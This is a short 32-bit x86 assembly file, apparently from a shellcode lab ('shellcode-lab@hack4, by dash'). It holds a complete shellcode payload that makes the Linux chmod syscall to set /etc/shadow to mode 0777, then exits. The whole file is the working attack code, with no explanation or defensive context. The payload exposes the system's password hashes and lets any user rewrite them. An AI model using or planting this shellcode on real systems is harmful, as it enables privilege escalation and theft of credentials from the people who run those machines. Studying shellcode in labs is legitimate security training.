; shellcode-lab@hack4
; by dash

BITS 32
global _start

_start:
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx

;chmod
mov     cx, 0x1ff       ;0777
push    ebx             ;null terminator
push    0x776f6461      ;/etc/shadow
push    0x68732f63
push    0x74652f2f
mov     ebx, esp        ;put the address of esp to ebx (shadow)
mov     al, 15
int     0x80

;exit
xor     eax, eax
xor     ebx, ebx
mov     al, 1
int     0x80
